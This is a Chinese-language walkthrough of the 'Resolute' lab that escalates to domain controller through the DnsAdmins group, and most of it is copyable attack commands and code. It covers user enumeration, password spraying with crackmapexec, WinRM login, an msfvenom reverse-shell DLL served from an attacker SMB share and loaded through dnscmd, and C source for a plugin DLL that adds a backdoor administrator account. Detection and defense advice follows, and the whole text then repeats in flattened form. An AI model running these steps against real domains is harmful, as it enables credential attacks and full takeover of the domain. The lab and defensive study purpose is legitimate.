域渗透实战之Resolute
字数 1094 2025-08-24 07:48:23

域渗透实战:利用DnsAdmins组权限提升至域控

信息收集阶段

端口扫描

使用nmap进行初始扫描,发现以下关键端口开放:

  • 53 (DNS)
  • 135 (RPC)
  • 139 (NetBIOS)
  • 445 (SMB)

SMB枚举

  1. 使用smbmap尝试空密码连接(未成功)
  2. 使用enum4linux枚举域用户:
    enum4linux -U <目标IP>
    
    获取了用户列表,包括Ryan、Melanie等

密码喷射攻击

使用crackmapexec进行密码喷射:

crackmapexec smb <目标IP> -u users.txt -p passwords.txt

初始访问

WinRM连接

通过密码喷射获取有效凭据后,使用WinRM连接:

evil-winrm -i <目标IP> -u <用户名> -p <密码>

权限提升路径

发现DnsAdmins组成员

  1. 登录后检查用户组:
    whoami /all
    
    发现当前用户是DnsAdmins组成员

DnsAdmins组特权分析

DnsAdmins组成员可以:

  1. 配置DNS服务器插件DLL
  2. 重启DNS服务
  3. 通过恶意DLL获取SYSTEM权限

利用DnsAdmins权限

生成恶意DLL

使用msfvenom生成反向shell DLL:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<攻击机IP> LPORT=<端口> -f dll -o rev.dll

设置SMB共享

在攻击机上设置SMB共享:

impacket-smbserver s . -smb2support

配置恶意DLL

在目标机器上执行:

dnscmd.exe /config /serverlevelplugindll \\<攻击机IP>\s\rev.dll

重启DNS服务

sc stop dns
sc start dns

技术原理深入

DNS服务器管理协议

  1. 基于RPC的协议
  2. 接口UUID: 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076
  3. 使用命名管道:\PIPE\DNSSERVER

ServerLevelPluginDll机制

  1. 修改注册表项:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
    
  2. DNS服务重启时会加载指定DLL
  3. DLL需要导出以下函数:
    • DnsPluginInitialize
    • DnsPluginCleanup
    • DnsPluginQuery

最小DLL示例代码

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    return TRUE;
}

extern "C" __declspec(dllexport) DWORD DnsPluginInitialize(PVOID p1, PVOID p2) {
    system("cmd.exe /c net user hacker P@ssw0rd! /add");
    system("cmd.exe /c net localgroup administrators hacker /add");
    return 0;
}

extern "C" __declspec(dllexport) DWORD DnsPluginCleanup() {
    return 0;
}

extern "C" __declspec(dllexport) DWORD DnsPluginQuery(PVOID p1, PVOID p2, PVOID p3) {
    return 0;
}

检测与防御

检测指标

  1. 进程创建监控:

    • 检测dnscmd.exe执行
    • 命令行包含"/config /serverlevelplugindll"
  2. 注册表监控:

    • 监控HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll变更

防御措施

  1. 最小权限原则:

    • 严格控制DnsAdmins组成员
    • 定期审计组成员
  2. 监控措施:

    • 监控DNS服务异常重启
    • 监控来自非管理员账户的dnscmd.exe执行
  3. 系统加固:

    • 限制DNS服务账户权限
    • 禁用不必要的插件功能

总结

通过利用DnsAdmins组的权限,攻击者可以:

  1. 加载恶意DLL到DNS服务
  2. 获取SYSTEM权限
  3. 完全控制域控制器

这种攻击方式利用了Windows DNS服务的合法功能,属于"Feature not bug"类漏洞,防御重点在于严格的权限控制和行为监控。

域渗透实战:利用DnsAdmins组权限提升至域控 信息收集阶段 端口扫描 使用nmap进行初始扫描,发现以下关键端口开放: 53 (DNS) 135 (RPC) 139 (NetBIOS) 445 (SMB) SMB枚举 使用smbmap尝试空密码连接(未成功) 使用enum4linux枚举域用户: 获取了用户列表,包括Ryan、Melanie等 密码喷射攻击 使用crackmapexec进行密码喷射: 初始访问 WinRM连接 通过密码喷射获取有效凭据后,使用WinRM连接: 权限提升路径 发现DnsAdmins组成员 登录后检查用户组: 发现当前用户是DnsAdmins组成员 DnsAdmins组特权分析 DnsAdmins组成员可以: 配置DNS服务器插件DLL 重启DNS服务 通过恶意DLL获取SYSTEM权限 利用DnsAdmins权限 生成恶意DLL 使用msfvenom生成反向shell DLL: 设置SMB共享 在攻击机上设置SMB共享: 配置恶意DLL 在目标机器上执行: 重启DNS服务 技术原理深入 DNS服务器管理协议 基于RPC的协议 接口UUID: 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076 使用命名管道:\PIPE\DNSSERVER ServerLevelPluginDll机制 修改注册表项: DNS服务重启时会加载指定DLL DLL需要导出以下函数: DnsPluginInitialize DnsPluginCleanup DnsPluginQuery 最小DLL示例代码 检测与防御 检测指标 进程创建监控: 检测dnscmd.exe执行 命令行包含"/config /serverlevelplugindll" 注册表监控: 监控HKEY_ LOCAL_ MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll变更 防御措施 最小权限原则: 严格控制DnsAdmins组成员 定期审计组成员 监控措施: 监控DNS服务异常重启 监控来自非管理员账户的dnscmd.exe执行 系统加固: 限制DNS服务账户权限 禁用不必要的插件功能 总结 通过利用DnsAdmins组的权限,攻击者可以: 加载恶意DLL到DNS服务 获取SYSTEM权限 完全控制域控制器 这种攻击方式利用了Windows DNS服务的合法功能,属于"Feature not bug"类漏洞,防御重点在于严格的权限控制和行为监控。